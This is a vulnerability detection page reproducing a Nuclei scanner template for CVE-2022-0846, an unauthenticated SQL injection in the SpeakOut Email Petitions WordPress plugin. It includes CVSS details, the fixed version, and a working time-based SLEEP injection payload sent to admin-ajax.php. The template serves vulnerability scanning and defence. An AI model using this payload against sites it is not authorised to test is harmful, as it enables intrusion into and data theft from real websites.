CVE-2022-0846: SpeakOut Email Petitions < 2.14.15.1 - SQL Injection

2025-08-01 SpeakOut Email Petitions PoC Public

Description

The SpeakOut! Email Petitions WordPress plugin before 2.14.15.1 does not sanitise and escape the id parameter before using it in a SQL statement via the dk_speakout_sendmail AJAX action, leading to an SQL Injection exploitable by unauthenticated users.

PoC

id: CVE-2022-0846

info:
  name: SpeakOut Email Petitions < 2.14.15.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The SpeakOut! Email Petitions WordPress plugin before 2.14.15.1 does not sanitise and escape the id parameter before using it in a SQL statement via the dk_speakout_sendmail AJAX action, leading to an SQL Injection exploitable by unauthenticated users.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Fixed in version 2.14.15.1
  reference:
    - https://wpscan.com/vulnerability/b030296d-688e-44a4-a48a-140375f2c5f4
    - https://wordpress.org/plugins/speakout/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0846
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/DharmaDoll/Search-Poc-from-CVE
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0846
    cwe-id: CWE-89
    epss-score: 0.08785
    epss-percentile: 0.94901
    cpe: cpe:2.3:a:speakout\!_email_petitions_project:speakout\!_email_petitions:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: speakout\!_email_petitions_project
    product: speakout\!_email_petitions
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,wordpress,wp-plugin,wp,unauth,wpscan,sqli,speakout,speakout-email-petitions,speakout\!_email_petitions_project,vkev,vuln

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=dk_speakout_sendmail&id=12+AND+(SELECT+5023+FROM+(SELECT(SLEEP(6)))Fvrh)--+VoFu

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "Your signature has been added") || contains(body, "This petition has already been signed using your email address")'
        condition: and
# digest: 4a0a0047304502210098cad7ca69a9e19649eec93a5071c92e909da029d6c9710ce9fecbf1d60cc18502205ab22d5be47a28275a739e99e55e12333b0d426e898f0b4df7a4b32b365416bd:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0846.yaml

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